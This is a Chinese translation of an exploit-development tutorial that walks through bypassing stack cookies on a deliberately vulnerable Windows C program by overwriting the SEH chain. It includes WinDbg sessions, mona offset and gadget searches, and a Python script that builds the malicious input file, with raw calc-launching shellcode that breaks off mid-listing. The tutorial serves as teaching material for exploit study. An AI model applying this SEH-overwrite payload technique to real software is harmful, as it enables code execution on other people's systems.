from:http://expdev-kiuhnm.rhcloud.com/2015/05/26/exploitme2-stack-cookies-seh-2/
0x00 Exploitme2 (Stack cookies & SEH)
阅读完前面的文章(链接:http://drops.wooyun.org/tips/9948),我们来到这里。
我们将使用曾经使用过的代码:
#!c
#include <cstdio>
int main() {
char name[32];
printf("Enter your name and press ENTER\n");
scanf("%s", name);
printf("Hi, %s!\n", name);
return 0;
}
在VS 2013中,我们将通过 Project→properties关闭DEP保护机制,并在Release下修改配置:
- Configuration Properties
- Linker
- Advanced
- Data Execution Prevention (DEP): No (/NXCOMPAT:NO)
- Advanced
- Linker
确保我们配置为
- Configuration Properties
- C/C++
- Code Generation
- Security Check: Enable Security Check (/GS)
- Code Generation
- C/C++
如果你仍然有着用于exploitme1.exe的文件c:/name.dat
,并试图运行exploitme2.exe,那么程序将会崩溃并且没法弹出计算器。为什么?
我们来看对应的汇编代码:
int main() {
00101000 55 push ebp
00101001 8B EC mov ebp,esp
00101003 83 EC 24 sub esp,24h
00101006 A1 00 30 10 00 mov eax,dword ptr ds:[00103000h]
0010100B 33 C5 xor eax,ebp
0010100D 89 45 FC mov dword ptr [ebp-4],eax
char name[32];
printf("Enter your name and press ENTER\n");
00101010 68 00 21 10 00 push 102100h
00101015 FF 15 90 20 10 00 call dword ptr ds:[102090h]
scanf("%s", name);
0010101B 8D 45 DC lea eax,[name]
0010101E 50 push eax
0010101F 68 24 21 10 00 push 102124h
00101024 FF 15 94 20 10 00 call dword ptr ds:[102094h]
printf("Hi, %s!\n", name);
0010102A 8D 45 DC lea eax,[name]
0010102D 50 push eax
0010102E 68 28 21 10 00 push 102128h
00101033 FF 15 90 20 10 00 call dword ptr ds:[102090h]
return 0;
}
00101039 8B 4D FC mov ecx,dword ptr [ebp-4]
0010103C 83 C4 14 add esp,14h
0010103F 33 CD xor ecx,ebp
00101041 33 C0 xor eax,eax
00101043 E8 04 00 00 00 call __security_check_cookie (010104Ch)
00101048 8B E5 mov esp,ebp
0010104A 5D pop ebp
0010104B C3 ret
这是之前的代码(作对比):
int main() {
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
char name[32];
printf("Enter your name and press ENTER\n");
01391006 68 00 21 39 01 push 1392100h
0139100B FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
scanf("%s", name);
01391011 8D 45 E0 lea eax,[name]
01391014 50 push eax
01391015 68 24 21 39 01 push 1392124h
0139101A FF 15 94 20 39 01 call dword ptr ds:[1392094h]
printf("Hi, %s!\n", name);
01391020 8D 45 E0 lea eax,[name]
01391023 50 push eax
01391024 68 28 21 39 01 push 1392128h
01391029 FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
0139102F 83 C4 14 add esp,14h
return 0;
01391032 33 C0 xor eax,eax
}
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret
让我们忽略不感兴趣的部分.
之前的代码为:
int main() {
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
.
.
.
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret
现在的代码为:
int main() {
00101000 55 push ebp
00101001 8B EC mov ebp,esp
00101003 83 EC 24 sub esp,24h
00101006 A1 00 30 10 00 mov eax,dword ptr ds:[00103000h]
0010100B 33 C5 xor eax,ebp
0010100D 89 45 FC mov dword ptr [ebp-4],eax
.
.
.
00101039 8B 4D FC mov ecx,dword ptr [ebp-4]
0010103C 83 C4 14 add esp,14h
0010103F 33 CD xor ecx,ebp
00101041 33 C0 xor eax,eax
00101043 E8 04 00 00 00 call __security_check_cookie (010104Ch)
00101048 8B E5 mov esp,ebp
0010104A 5D pop ebp
0010104B C3 ret
现在,在代码的prolog部分之后,栈应该会是这样的;
esp --> name[0..3]
name[4..7]
.
.
.
name[28..31]
ebp-4 --> cookie
ebp --> saved ebp
ret eip
.
.
.
如上做法为:在prolog部分设定cookie,在epilog部分检查cookie是否被改变。如果cookie被改变,那么在ret指令被执行之前,epilog部分会崩掉程序。注意cookie的位置:如果我们溢出name,那么我们可同时覆写cookie和ret eip。因此,在我们可以控制执行流之前,执行Epilog部分会崩掉程序。
我们看看prolog部分:
00101006 A1 00 30 10 00 mov eax,dword ptr ds:[00103000h]
0010100B 33 C5 xor eax,ebp
0010100D 89 45 FC mov dword ptr [ebp-4],eax
在cookie被存储于[ebp-4]
之前,它首先从ds:[00103000h]
被读取,接着与EBP进行异或操作。这样,cookie就取决于EBP了,这意味着已嵌套的调用会有不同的cookie。当然,在初始化期间,cookie在ds:[00103000]
中是随机的并且在运行时会被计算出来。 现在我们理解了该问题,我们可以回到代码的fread部分,该部分更易于(在某种程度上)进行利用:
#!c
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
因为我们无法通过ret eip控制EIP,所以我们将试图通过覆写它来修改SEH链。对于我们来说,幸运的是,该链在栈上。如果你不记得SEH链的特性,那么请看看结构化异常处理(相关文章链接:http://drops.wooyun.org/tips/6814)的文章吧。
使用WinDbg打开exploitme2.exe,用如下命令在main上下断点:
bp exploitme2!main
接着通过按下F5(go)来让程序运行。
当执行停止时(你也应该看看源代码),在栈和SEH链上了解下:
0:000> dd esp
0038fb20 011814d9 00000001 00625088 00615710
0038fb30 bd0c3ff1 00000000 00000000 7efde000
0038fb40 00000000 0038fb30 00000001 0038fb98
0038fb50 01181969 bc2ce695 00000000 0038fb68
0038fb60 75dd338a 7efde000 0038fba8 77c09f72
0038fb70 7efde000 77ebad68 00000000 00000000
0038fb80 7efde000 00000000 00000000 00000000
0038fb90 0038fb74 00000000 ffffffff 77c471f5
0:000> !exchain
0038fb4c: exploitme2!_except_handler4+0 (01181969)
CRT scope 0, filter: exploitme2!__tmainCRTStartup+115 (011814f1)
func: exploitme2!__tmainCRTStartup+129 (01181505)
0038fb98: ntdll!WinSqmSetIfMaxDWORD+31 (77c471f5)
记住SEH节点是8字节长的,并且会有用该形式展示:
<ptr to next SEH node in list>
<ptr to handler>
我们可以看到第一个节点在地址0x38fb4c上(即esp+0x2c)并且存在
0038fb98 <-- next SEH node
01181969 <-- handler (exploitme2!_except_handler4)
下一个以及最后一个SEH节点在地址0x38fb98上(即esp+0x78)并且存在
ffffffff <-- next SEH node (none - this is the last node)
77c471f5 <-- handler (ntdll!WinSqmSetIfMaxDWORD+31)
在调用thefread()函数之前,将100个’a’字符放入c:/name.dat并步过代码(F10)。我们再次检测SEH链:
0:000> !exchain
0038fb4c: 61616161
Invalid exception stack at 61616161
如我们可观察到的,我们已经试着覆写了SEH链了。现在让程序运行(F5)。
WinDbg将会打印出如下内容:
STATUS_STACK_BUFFER_OVERRUN encountered
(1610.1618): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
eax=00000000 ebx=01182108 ecx=75e1047c edx=0038f4d1 esi=00000000 edi=6d5ee060
eip=75e1025d esp=0038f718 ebp=0038f794 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
kernel32!GetProfileStringW+0x12cc1:
75e1025d cc int 3
这可能意味着main()中的epilog部分已经检测到cookie被修改了,并且阻止了我们的进一步操作,但是,实际上,fread调用之后,该安全违例是由于一些与分配操作相关的边界检查导致的。
#!c
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0'; <-------------------------
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
边界检查:
name[bytes] = '\0';
008B107A 83 FE 20 cmp esi,20h ; esi = bytes
008B107D 73 30 jae main+0AFh (08B10AFh)
008B107F 57 push edi
008B1080 C6 44 35 DC 00 mov byte ptr name[esi],0
.
.
.
008B10AF E8 48 01 00 00 call __report_rangecheckfailure (08B11FCh)
既然这样,由于边界检查,epilog部分从来没有被执行过,但是概念是相同的。我们覆写SEH链,但是并没有生成异常,因此,SEH链并没有被使用过。在进行边界检查之前,我们需要生成异常。(否则main()的epilog部分会被执行)。
让我们进行一次实验:我们来观察发生异常是否会调用在SEH链上的handler。修改代码如下:
#!c
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = bytes / 0; // '\0'; !!! divide by 0 !!!
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
注意我们在fread函数前已经添加了除数为0的情况。这应该会生成异常并调用SEH链的第一个handler。
编译代码,用WinDbg重新打开它。这会发生什么:
(177c.12f4): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for exploitme2.exe
eax=00000064 ebx=6d5ee060 ecx=00000000 edx=00000000 esi=00000001 edi=00000064
eip=012f107a esp=002cfbd4 ebp=002cfc2c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
exploitme2!main+0x7a:
012f107a f7f9 idiv eax,ecx
正如我们可以观察到的,在通过程序可以看到已生成的异常前,WinDbg就已经捕获到异常了。再次按下F5(go)将异常传给程序,这是我们观察到的:
(177c.12f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
eip=61616161 esp=002cf638 ebp=002cf658 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
61616161 ?? ???
我们可以观察到EIP=0x61616161.唯一可解释的是handler在已修改的SEH链中被调用!
现在在进行边界检查前,我们必须找到生成异常的方法(或者通过main()函数的epilog部分检查cookie)。首先,我们将移除异常,同时稍微修改下我们的代码:
#!c
#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
int pos = 0;
while (pos < bytes) {
int len = bytes - pos > 200 ? 200 : bytes - pos;
fread(name + pos, 1, len, f);
pos += len;
}
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
我们已经决定从200字节的块中读取文件,因为如果被请求读取太多字节,那么调用fread() 可能会失败。这样,我们可以有一个具有较长字节的文件。
栈是有限的,因此如果我们不断对其进行写入操作直到栈末端(最高地址),那么将会发生一次访问违例。我们来运行Python的IDLE并试图使用1000个”a”字符:
#!python
with open('c:\\name.dat', 'wb') as f:
f.write('a'*1000)
使用WinDbg运行exploitme2.exe。容易检验出1000个”a”字符是不够的。我们来试试使用2000个”a”字符:
#!python
with open('c:\\name.dat', 'wb') as f:
f.write('a'*2000)
同样没有达到我们的目的。最后,使用10000个”a”字符,我们得到:
(17d4.1244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SysWOW64\MSVCR120.dll -
eax=00816808 ebx=000000c8 ecx=00000030 edx=000000c8 esi=008167d8 edi=003c0000
eip=6d51f20c esp=003bfb68 ebp=003bfb88 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287
MSVCR120!wcslen+0x19:
6d51f20c f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
在按下F5(go)之后,我们得到:
(17d4.1244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
eip=61616161 esp=003bf5cc ebp=003bf5ec iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
61616161 ?? ???
这是我们想要的:EIP=0x61616161
。我们知道我们的”a”字符已经覆写了SEH节点的handler地址,但确定是这4个”a”字符吗?换句话说,我们应该把重定向执行流的地址放入到文件中的偏移是多少呢? 使用特定的模板而不是使用单一的”a”字符不失为一种简单的方法。这个模板已设计好了,因此给出了模板的4个连续字节,我们可以立即告诉该模板的偏移这四个字节被定位了。 利用mona(相关文章链接:http://drops.wooyun.org/tips/6814)使用如下命令可以帮助我们:
0:000> !py mona pattern_create 10000
Hold on...
[+] Command used:
!py mona.py pattern_create 10000
Creating cyclic pattern of 10000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)
[+] Preparing output file 'pattern.txt'
- (Re)setting logfile pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open pattern.txt and copy the pattern from the file
[+] This mona.py action took 0:00:00
使用一段Python代码,我们可以将模板写到c:/name.dat
。
#!python
with open('c:\\name.dat', 'wb') as f:
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)'
f.write(pattern)
注意,我已经截下了一段模板,因为它过长而没有在这里展示出来。
我们用WinDbg重启exploitme2.exe,第二次按下F5,得到:
(11e0.11e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=64413963 edx=77c2b4ad esi=00000000 edi=00000000
eip=64413963 esp=0042f310 ebp=0042f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
64413963 ?? ???
我们可以观察到 EIP = 0x64413963
. 让我们看看被定位的模板偏移。记住英特尔CPU是小端模式的,因此0x64413963 = “\x63\x39\x41\x64” = “c9Ad”
。让我们使用mona来判断该偏移:
0:000> !py mona pattern_offset 64413963
Hold on...
[+] Command used:
!py mona.py pattern_offset 64413963
Looking for c9Ad in pattern of 500000 bytes
- Pattern c9Ad (0x64413963) found in cyclic pattern at position 88
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
- Pattern dA9c not found in cyclic pattern (uppercase)
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
- Pattern dA9c not found in cyclic pattern (lowercase)
[+] This mona.py action took 0:00:00.172000
偏移是88。用如下Python脚本来检验那正确的偏移:
#!python
with open('c:\\name.dat', 'wb') as f:
handler = 'bbbb'
f.write('a'*88 + handler + 'c'*(10000-88-len(handler)))
这次WinDbg输出如下:
(1b0c.1bf4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=62626262 edx=77c2b4ad esi=00000000 edi=00000000
eip=62626262 esp=002af490 ebp=002af4b0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
62626262 ?? ???
因为0x62626262=”bbbb”
.这确实是我们想要的。现在我们知道在文件中放入我们想要的地址在哪里了,我们需要判断使用的是哪个地址。在WinDbg中点击View→Memory 并在”Virtual:[email protected],ESP=0x2af490
,同时,[email protected]+6d4上。
让我们重启exploitme2.exe来观察6d4是否是一个常数。在Memory 窗口中的”Virtual:[email protected][email protected]�我们也可以观察到ESP总是不同的,即使偏移6d4并不改变。
因此,在4个”b”字符之后,我们可以将我们的shellcode放置在正确的位置,并且用如下一段代码中的地址替换那些”b”字符:
ADD ESP, 6d8
JMP ESP
注意我们已经使用了6d8,即6d4+4来跳过”b”字符并转移到我们将放置在替代”c”字符的shellcode上。当然,ADD ESP, 6e0
或类似的代码也将会被执行。不幸的是,找到这类代码并不容易,但这是一种更简单的方法。
重启exploitme2.exe,第二次按下F5并观察栈:
0:000> dd esp
002df45c 77c2b499 002df544 002dfb2c 002df594
002df46c 002df518 002dfa84 77c2b4ad 002dfb2c
002df47c 002df52c 77c2b46b 002df544 002dfb2c
002df48c 002df594 002df518 62626262 00000000
002df49c 002df544 002dfb2c 77c2b40e 002df544
002df4ac 002dfb2c 002df594 002df518 62626262
002df4bc 002e1000 002df544 00636948 00000000
002df4cc 00000000 00000000 00000000 00000000
在esp+8上的dword值看起来挺有趣的。 如果我们观察那个地址我们可以了解到如下内容:
0:000> db poi(esp+8)
002dfb2c 61 61 61 61 62 62 62 62-63 63 63 63 63 63 63 63 aaaabbbbcccccccc
002dfb3c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb4c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb5c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb6c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb7c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb8c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb9c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
0x2dfb2c指向处理”b”字符的4个”a”字符。要记住的是”bbbb”覆写SEH节点的”handler”域,因此,0x2dfb2c必须指向相同SEH节点的“下一个SEH 节点”域。我们来检验该过程:
0:000> !exchain
002df470: ntdll!ExecuteHandler2+3a (77c2b4ad)
002dfa84: MSVCR120!_ValidateRead+439 (6d52a0d5)
002dfb2c: 62626262
Invalid exception stack at 61616161
看起来似乎覆写了第三个SEH节点:
0:000> dt _EXCEPTION_REGISTRATION_RECORD 002dfb2c
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x61616161 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x62626262 _EXCEPTION_DISPOSITION +62626262
首先,确保esp+8总存在准确的重启进程的地址,再试一次。在检验完之后,我们需要找到一些指令如:
POP reg32
POP reg32
RET
思路是:被执行时,放入某段代码的地址来替代4个”b”字符,该代码将会对ESP进行加8操作(2条pop指令),接着提取通过ESP指向的值然后转移到那个地址。这确实是我们想要的,即,它将会转移到我们的”b”字符前面4个”a”字符右端。为了跳过”b”字符并转移到我们的shellcode上(我们的”c”字符),我们需要在”b”字符的前面放入一个jmp指令。
JMP操作码的简写是:
EB XX
XX的位置是一个被标记的字节。为了方便,我们添加一个标签:
here:
EB XX
那操作码转移到here+2+XX的位置。例如,
EB 00
there:
转移之后到了右边,即,到了there部分。
这是我们想要的:
90是NOP指令的操作码(no operation-不进行任何操作),但是因为那两个字节将会被跳过,所以我们可以使用任意指令的操作码。
现在让我们在kernel32.dll中找到 pop/pop/ret
的地址:
0:000> !py mona findwild -s "pop r32#pop r32#ret" -m kernel32.dll
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m kernel32.dll
---------- Mona command started on 2015-03-18 20:33:46 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules kernel32.dll
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x75dc0000 and 0x75ed0000
[+] Preparing output file 'findwild.txt'
- (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
- Number of pointers of type 'pop edi # pop ebp # retn 24h' : 1
- Number of pointers of type 'pop esi # pop ebx # retn' : 2
- Number of pointers of type 'pop ebx # pop ebp # retn 14h' : 4
- Number of pointers of type 'pop ebx # pop ebp # retn 10h' : 14
- Number of pointers of type 'pop edi # pop esi # retn' : 2
- Number of pointers of type 'pop edi # pop ebp # retn 8' : 13
- Number of pointers of type 'pop eax # pop ebp # retn 1ch' : 2
- Number of pointers of type 'pop ecx # pop ebx # retn 4' : 1
- Number of pointers of type 'pop esi # pop ebp # retn' : 1
- Number of pointers of type 'pop ebx # pop ebp # retn 1ch' : 4
- Number of pointers of type 'pop eax # pop ebp # retn 0ch' : 8
- Number of pointers of type 'pop edi # pop ebp # retn 1ch' : 2
- Number of pointers of type 'pop eax # pop ebp # retn 20h' : 2
- Number of pointers of type 'pop esi # pop ebp # retn 0ch' : 49
- Number of pointers of type 'pop eax # pop ebp # retn' : 2
- Number of pointers of type 'pop eax # pop ebp # retn 4' : 3
- Number of pointers of type 'pop esi # pop ebp # retn 20h' : 2
- Number of pointers of type 'pop ebx # pop ebp # retn 0ch' : 27
- Number of pointers of type 'pop esi # pop ebp # retn 24h' : 1
- Number of pointers of type 'pop eax # pop ebp # retn 18h' : 3
- Number of pointers of type 'pop edi # pop ebp # retn 0ch' : 11
- Number of pointers of type 'pop esi # pop ebp # retn 10h' : 15
- Number of pointers of type 'pop esi # pop ebp # retn 18h' : 10
- Number of pointers of type 'pop esi # pop ebp # retn 14h' : 11
- Number of pointers of type 'pop edi # pop ebp # retn 10h' : 6
- Number of pointers of type 'pop eax # pop ebp # retn 8' : 5
- Number of pointers of type 'pop ebx # pop ebp # retn 4' : 11
- Number of pointers of type 'pop esi # pop ebp # retn 4' : 70
- Number of pointers of type 'pop esi # pop ebp # retn 8' : 62
- Number of pointers of type 'pop edx # pop eax # retn' : 1
- Number of pointers of type 'pop ebx # pop ebp # retn 8' : 26
- Number of pointers of type 'pop ebx # pop ebp # retn 18h' : 6
- Number of pointers of type 'pop ebx # pop ebp # retn 20h' : 2
- Number of pointers of type 'pop eax # pop ebp # retn 10h' : 3
- Number of pointers of type 'pop eax # pop ebp # retn 14h' : 3
- Number of pointers of type 'pop ebx # pop ebp # retn' : 4
- Number of pointers of type 'pop edi # pop ebp # retn 14h' : 2
- Number of pointers of type 'pop edi # pop ebp # retn 4' : 5
[+] Results :
0x75dd4e18 | 0x75dd4e18 (b+0x00014e18) : pop edi # pop ebp # retn 24h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfd75d | 0x75dfd75d (b+0x0003d75d) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfd916 | 0x75dfd916 (b+0x0003d916) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dd4f7c | 0x75dd4f7c (b+0x00014f7c) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75ddf840 | 0x75ddf840 (b+0x0001f840) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfc1ca | 0x75dfc1ca (b+0x0003c1ca) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e7a327 | 0x75e7a327 (b+0x000ba327) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75de1267 | 0x75de1267 (b+0x00021267) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75defda1 | 0x75defda1 (b+0x0002fda1) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfb33c | 0x75dfb33c (b+0x0003b33c) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfbf8a | 0x75dfbf8a (b+0x0003bf8a) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfda42 | 0x75dfda42 (b+0x0003da42) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e45960 | 0x75e45960 (b+0x00085960) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e47b36 | 0x75e47b36 (b+0x00087b36) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e4a53f | 0x75e4a53f (b+0x0008a53f) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e5e294 | 0x75e5e294 (b+0x0009e294) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e65641 | 0x75e65641 (b+0x000a5641) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e6a121 | 0x75e6a121 (b+0x000aa121) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e77bf1 | 0x75e77bf1 (b+0x000b7bf1) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e7930d | 0x75e7930d (b+0x000b930d) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open findwild.txt...
Found a total of 396 pointers
[+] This mona.py action took 0:00:12.400000
我们选择第二个地址
0x75dfd75d | 0x75dfd75d (b+0x0003d75d) : pop esi # pop ebx # retn
用来创建文件name.dat的Python代码如下:
#!python
with open('c:\\name.dat', 'wb') as f:
jmp = '\xeb\x06\x90\x90'
handler = '\x5d\xd7\xdf\x75'
shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
